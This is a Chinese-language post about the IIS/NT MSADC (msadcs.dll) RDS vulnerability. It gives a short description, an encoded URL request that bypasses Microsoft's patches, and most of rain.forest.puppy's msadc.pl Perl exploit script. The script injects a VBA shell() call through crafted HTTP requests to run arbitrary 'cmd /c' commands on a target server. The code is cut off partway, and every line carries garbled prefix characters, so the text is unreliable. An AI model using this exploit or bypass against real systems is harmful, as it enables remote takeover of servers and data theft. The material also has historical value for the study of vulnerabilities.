IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
iE$qq~% _NQMi4 V( 涉及程序:
E}K6Op;=v5 Microsoft NT server
>[;+QVr; @l:\0cO 描述:
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1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
LYb@0O<w r9<OB`)3+ 详细:
45e-A{G~ 如果你没有时间读详细内容的话,就删除:
n}(/>?/ c:\Program Files\Common Files\System\Msadc\msadcs.dll
(055>D6 有关的安全问题就没有了。
<&:OSd:% v0)I rO 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
7 sv
3=/` lB9 9J"A 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
5hwe ul>S 关于利用ODBC远程漏洞的描述,请参看:
pEf1[ zq vZ[wr@) http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 4Cs
|F7R aI]EwVz-q 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
{\3ZmF http://www.microsoft.com/security/bulletins/MS99-025faq.asp
bK:mt `
7}>7@W8 这里不再论述。
`R@1Sc<*| %fB]N 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
^$-ID6 `6a /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
b_2bg>|; 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
gE$D#PZa xi|T7,\X c:(Xkzj #将下面这段保存为txt文件,然后: "perl -x 文件名"
%O]]La 53efF bo #!perl
#!="b8F #
JB.f7- # MSADC/RDS 'usage' (aka exploit) script
Dy`;]-b6u #
/
i[F # by rain.forest.puppy
C;]}Ht:~I #
lezX-5Z # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
tnL $v2e6q # beta test and find errors!
v4c*6(m [\eh$r\ use Socket; use Getopt::Std;
-I
dW-9~9 getopts("e:vd:h:XR", \%args);
Gf` `0F) '/l<\b/E print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
zf+jQ 4#?Sxs if (!defined $args{h} && !defined $args{R}) {
MYyV{W*T> print qq~
\\w<.\Yh Usage: msadc.pl -h <host> { -d <delay> -X -v }
X@;;
h -h <host> = host you want to scan (ip or domain)
oPP`)b$x -d <seconds> = delay between calls, default 1 second
G`1!SEae -X = dump Index Server path table, if available
66ULR&D8 -v = verbose
PM]|S` -e = external dictionary file for step 5
fCC^hB]' RLl*@SEi" Or a -R will resume a command session
*K}h
>b 1 Egy#_ RT{ ~; exit;}
B?A]0S )b AO A $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
xZbiEDU if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
@`" UD if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
a}(xZ\n^D; if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
cV8Bl="gqe $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
O^/z7, if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
p1}umDb% rjk{9u1a" if (!defined $args{R}){ $ret = &has_msadc;
u*n%cXY;J/ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
;5S'?fj Q8d-yJs& print "Please type the NT commandline you want to run (cmd /c assumed):\n"
'0ks`a4q . "cmd /c ";
VY9o}J>,w $in=<STDIN>; chomp $in;
#Y|t,x; $command="cmd /c " . $in ;
K"fr4xHq +UvT;" if (defined $args{R}) {&load; exit;}
/:S&1'= 3`
,u^ w print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
p;nRxi7' &try_btcustmr;
o'Rr2,lVi {N.JA= print "\nStep 2: Trying to make our own DSN...";
\3K%> &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
*z?Vy<u G P|U9f6^3 print "\nStep 3: Trying known DSNs...";
Xg<R+o &known_dsn;
7bk=D~/nSg N$&)gI:
print "\nStep 4: Trying known .mdbs...";
T( LlNq &known_mdb;
u7>{#] k`aHG8S\ if (defined $args{e}){
RX])#=Cs print "\nStep 5: Trying dictionary of DSN names...";
PvHX#wJ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
#!yW)RG ;q5.\m: print "Sorry Charley...maybe next time?\n";
gXy'@! exit;
_|^cudRv I
\Luw*: ##############################################################################
.I
h'& n^[VN[VC sub sendraw { # ripped and modded from whisker
X}fu $2 sleep($delay); # it's a DoS on the server! At least on mine...
%p; 'l my ($pstr)=@_;
`J
l/@bE= socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
AQ)DiH die("Socket problems\n");
Pl/}`H:R& if(connect(S,pack "SnA4x8",2,80,$target)){
q0sdL86 select(S); $|=1;
;rj|> print $pstr; my @in=<S>;
W]B75 select(STDOUT); close(S);
=PM6:3aKh return @in;
_GW, 9s^A } else { die("Can't connect...\n"); }}
'lWgHmE #ULjK*)R ##############################################################################
$R&K-;D/8 v?O6|0#x sub make_header { # make the HTTP request
k`(Cwp{Oc my $msadc=<<EOT
Kry^47" POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
L9}%tEP User-Agent: ACTIVEDATA
IIh \d.o Host: $ip
Fo.p}j+> Content-Length: $clen
'nQQqx%v Connection: Keep-Alive
lnQfpa8j JmBe1"hs ADCClientVersion:01.06
^.gBHZ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
UlD]!5NO
I?R?rW --!ADM!ROX!YOUR!WORLD!
bnzIDsw!Q Content-Type: application/x-varg
!,Uzt1K: Content-Length: $reqlen
v\ <4y P O'.sK pXe EOT
"K)ue@? ; $msadc=~s/\n/\r\n/g;
JIOeDuw+ return $msadc;}
E{8-VmY Sv>bU4LHf ##############################################################################
B;Dl2k^L ~q,Wj!>Ob sub make_req { # make the RDS request
Rm&4Pku my ($switch, $p1, $p2)=@_;
XF Cwa my $req=""; my $t1, $t2, $query, $dsn;
9%iv?/o*L aGs\zCAP if ($switch==1){ # this is the btcustmr.mdb query
k [eWhdSw $query="Select * from Customers where City=" . make_shell();
>c30kpGg $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
;!:@3c $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
q]\GBRp Nc_Qd4<[@G elsif ($switch==2){ # this is general make table query
&6O0h0Vy $query="create table AZZ (B int, C varchar(10))";
@Wl2E.)K; $dsn="$p1";}
D:=Q)Uh0I ^&!iq K2o elsif ($switch==3){ # this is general exploit table query
/cC4K\M $query="select * from AZZ where C=" . make_shell();
H[J5A2b $dsn="$p1";}
., =\/ C< c2~oPUj elsif ($switch==4){ # attempt to hork file info from index server
[kKg?I$D@B $query="select path from scope()";
(yO8G-Z0 $dsn="Provider=MSIDXS;";}
'z$!9ufY, Aa!#=V1d elsif ($switch==5){ # bad query
.T*89cEu $query="select";
cMZ- $dsn="$p1";}
aS/ MlMf 8S#TOeQ $t1= make_unicode($query);
S%IhpTSe6 $t2= make_unicode($dsn);
DP6>fzsl $req = "\x02\x00\x03\x00";
s$ZKd $req.= "\x08\x00" . pack ("S1", length($t1));
shuoEeoo $req.= "\x00\x00" . $t1 ;
r"$~Gg.%( $req.= "\x08\x00" . pack ("S1", length($t2));
kJNu2S $req.= "\x00\x00" . $t2 ;
c.{t +OR $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
j|w_BO 9 return $req;}
L
IN$Y \F8:6- ##############################################################################
q c DJ :Oh*Q(> sub make_shell { # this makes the shell() statement
(X/dP ~ return "'|shell(\"$command\")|'";}
2*pNIc *}RV)0mif ##############################################################################
COFCa&m9c r 3FUddF' sub make_unicode { # quick little function to convert to unicode
B#, TdP]/ my ($in)=@_; my $out;
EY}*}- 3 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
CT[CM+ return $out;}
JWVn@)s |0$7{nQ ##############################################################################
`7
3I}%? JrGY`6##p sub rdo_success { # checks for RDO return success (this is kludge)
hOR1RB my (@in) = @_; my $base=content_start(@in);
xY@<